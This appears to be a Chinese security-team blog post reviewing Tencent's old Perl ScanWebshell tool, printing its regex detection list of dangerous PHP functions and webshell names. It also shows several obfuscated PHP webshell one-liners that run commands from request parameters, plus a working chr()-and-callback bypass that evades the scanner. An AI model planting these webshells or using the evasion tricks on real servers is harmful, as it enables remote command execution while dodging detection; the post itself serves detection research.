一场跨越十年的超时空思维碰撞

微信公众号：渊龙Sec安全团队
为国之安全而奋斗，为信息安全而发声！
如有问题或建议，请在公众号后台留言
如果你觉得本文对你有帮助，欢迎在文章底部赞赏我们

0# 概述

最近反正也没啥事情干，突然看到朋友 青山ya 师傅审计出了腾讯开源的xSRC系统的逻辑漏洞，于是我就没事干，把开源的xSRC源码拉下来跟着审计了一波，但在审计的过程中，我在TSRC（腾讯安全应急响应中心）的在线平台中，看到了一个好玩的东西：

ScanWebshell：此工具可用于检测php Webshell

咦，我平时不也在研究WebShell的免杀吗？兴趣使然，我打算下载下来看看

1# 工具分析

下载下来，是一个Perl语言编写的程序文件，可以在Linux系统上直接运行

通过编辑器打开，可以看到源码，作者看起来是想实现 ASP + PHP + JSP 的WebShell的查杀，但很可惜不知道是何种原因只完成了 PHP 的查杀部分，主体内容如下：

 1#!/usr/bin/perl
 2#Scan WebShell for LAKE2
 3#Desc: A small tools that find webshell with perl, it can check ASP/PHP/JSP/ASP.Net script, enjoy hacking :-)
 4#Author: lakehu[TSRC]
 5#Date: 2013-10-30
 6#Version: 1.1.1
 7
 8#php webshell str
 9@php_code_array = (
10  'beval(s|/*.*?*/)*(s*.*?s*)',
11  'bassert(s|/*.*?*/)*(s*.*?s*)',
12  'bsystem(s|/*.*?*/)*(s*.*?s*)',
13  'bpassthru(s|/*.*?*/)*(s*.*?s*)',
14  'bexec(s|/*.*?*/)*(s*.*?s*)',
15  'bpcntl_exec(s|/*.*?*/)*(s*.*?s*)',
16  'bshell_exec(s|/*.*?*/)*(s*.*?s*)',
17  'bpopen(s|/*.*?*/)*(s*.*?s*)',
18  'bproc_open(s|/*.*?*/)*(s*.*?s*)',
19  'bpreg_replace(s|/*.*?*/)*(s*.*?s*)',
20  'bcreate_function(s|/*.*?*/)*(s*.*?s*)',
21  'bob_start(s|/*.*?*/)*(s*.*?s*)',
22  'barray_map(s|/*.*?*/)*(s*.*?s*)',
23  '`.*?`',
24  '(include|include_once|require|require_once)(s|/*.*?*/)*(s*.*?$.*?)',
25  '(include|include_once|require|require_once)(s|/*.*?*/)*(?s*['"].*?.[^p][^h][^p]w*?['"].*?s*?;',
26  '(phpspy|4ngel|wofeiwo|c99shell|webshell|php_nst|reDuh)',
27  '$[w-_'\[\]{}.$*/|]+(s|/*.*?*/)*(.*?)'
28);

可以看到，这个脚本是腾讯安全的 lakehu 师傅在2013年完工的，今年是2023年
整整十年时间，犹如弹指一挥间，没想到还有个人点开了他留下的赛博足迹

2# 这个脚本到底干了啥

第一次运行的时候，报了如下错误：

运行的时候，会有这个报错：/usr/bin/perl^M: bad interpreter: No such file or directory
这是因为不同的编码方式导致，Windows环境下面新建的文本文档默认是dos格式的，dos格式在Linux系统里面有些的字符是不可见的，所以执行报错，解决方法如下：

1vim ./ScanWebShell.pl
2:set ff        //显示文件格式 fileformat=dos
3:set ff=unix   //修改格式为unix
4:wq            //保存并退出

刚看到这个pl脚本，我只认为它就识别了常见的高危函数和可调用的高危函数，但随着深入上手和查看，它的余威还是有点震撼我的，这是脚本内提取出的正则匹配式：

 1eval(s|/*.*?*/)*(s*.*?s*)
 2assert(s|/*.*?*/)*(s*.*?s*)
 3system(s|/*.*?*/)*(s*.*?s*)
 4passthru(s|/*.*?*/)*(s*.*?s*)
 5exec(s|/*.*?*/)*(s*.*?s*)
 6pcntl_exec(s|/*.*?*/)*(s*.*?s*)
 7shell_exec(s|/*.*?*/)*(s*.*?s*)
 8popen(s|/*.*?*/)*(s*.*?s*)
 9proc_open(s|/*.*?*/)*(s*.*?s*)
10preg_replace(s|/*.*?*/)*(s*.*?s*)
11create_function(s|/*.*?*/)*(s*.*?s*)
12ob_start(s|/*.*?*/)*(s*.*?s*)
13array_map(s|/*.*?*/)*(s*.*?s*)
14`.*?`
15(include|include_once|require|require_once)(s|/*.*?*/)*(s*.*?$.*?)
16(include|include_once|require|require_once)(s|/*.*?*/)*(?s*['"].*?.[^p][^h][^p]w*?['"].*?s*?;
17(phpspy|4ngel|wofeiwo|c99shell|webshell|php_nst|reDuh)
18$[w-_'\[\]{}.$*/|]+(s|/*.*?*/)*(.*?)
19

首先，既然过滤了这么多高危函数，那我马上想到了我写的免杀手册的第一个实例，这里面可是一个高危函数都没有的：

1<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);

如果不懂这个WebShell的原理，可以看开源项目的12.1部分：

https://github.com/AabyssZG/WebShell-Bypass-Guide/blob/main/PHP-Webshell-ByPass-Guide.md

没想到第一个WebShell就翻车了，这时候的我心理活动：咦不应该啊？
然后我又把整个正则匹配式看了一遍，找到了关键的正则匹配式：

1'$[w-_'\[\]{}.$*/|]+(s|/*.*?*/)*(.*?)'

这个正则表达式要怎么理解呢，我们可以拆开用以下四部分来分析：

1$                         # 第一部分
2[w-_'\[\]{}.$*/|]+  # 第二部分
3(s|/*.*?*/)*          # 第三部分
4(.*?)                    # 第四部分
5

• 第一部分: 最开头匹配符号 $

• 第二部分：匹配一个或多个字符，这些字符可以是：字母数字下划线、单引号、反斜杠、方括号、花括号、点、$符号、星号、斜杠、竖线

• 第三部分: 匹配零个或多个空白字符（s）或注释（/* */ 形式的内容）。

• 第四部分: 用非贪婪模式匹配括号内的任意字符

那现在，让我们将这些部分组合起来，可以清楚地理解整个正则表达式的匹配内容：

• 第一部分: 匹配以 $ 符号开头的单词（变量名）

• 第二部分: 匹配一个或多个允许的字符，形成变量名的其余部分，比如 $f 或者 $_

• 第三部分: 匹配零个或多个空白字符或注释，应该是防止中间掺杂垃圾字符干扰正则

• 第四部分: 匹配括号内的任意字符，相当于不检测括号内的内容

相当于检测到外部变量想要作为函数执行括号内的内容就拦截，那这条正则匹配式能拦截啥呢？比如：

一、自定义函数混淆字符串类型：

 1function confusion($a){
 2    $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm'];
 3    $tmp = "";
 4    while ($a>10) {
 5        $tmp .= $s[$a%10];
 6        $a = $a/10;
 7    }
 8    return $tmp.$s[$a];
 9}
10$f = confusion(976534);         //sysTem（高危函数）
11$f($_POST['aabyss']);           //sysTem($_POST['aabyss']);

二、一维数组绕过：

1$f = substr_replace("systxx","em",4);         //system（高危函数）
2$z = array($array = array('a'=>$f($_GET['aabyss'])));
3var_dump($z);

三、异或+变换参数绕过：

1$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);

等等，还有许多以 变量(调用外部参数) 来执行恶意命令的WebShell都能查杀，说明作者对参数变形和PHP参数调用的相关姿势烂熟于心啊哈哈

3# 查杀ByPass

既然直接用变量作为函数执行不行的话，那可以曲线救国，比如：

1//ASCII编码解密后为system高危函数
2$f =  chr(114+1).chr(120+1).chr(116-1).chr(117-1).chr(100+1).chr(108+1);
3call_user_func_array($f, array($_GET['aabyss']));

通过这个简单的样例，采用回调函数的手法，来执行对应的命令

成功ByPass，没有被查杀：

同样，基于这种思路，还可以用更多手法来绕过这些正则表达式

4# 总结

2013年那个时代，正是国内网络安全行业刚刚扬帆起航的时代
可以想到，在那个还在用着 D盾 和 菜刀caidao 的时代，对于WebShell的查杀还是基于正则匹配式，回想现在的 语义分析（AST）、机器学习（AI） 来对WebShell进行查杀，不可谓时代的车轮仍在滚滚向前

谁能想到，在十年后，在互联网的犄角旮旯里面，我还能重拾前人的经验、回忆和热枕，带着他们继续向前

十年过去了，这位 lakehu 师傅，你还好吗？如果不是隐退江湖，想必也已成为一方大佬了吧，向各位推动中国网络安全发展的师傅致以崇高的敬意！

我是曾哥，我在渊龙Sec安全团队等你
微信公众号：渊龙Sec安全团队
欢迎关注我，一起学习，一起进步~
本篇文章为团队成员原创文章，请不要擅自盗取！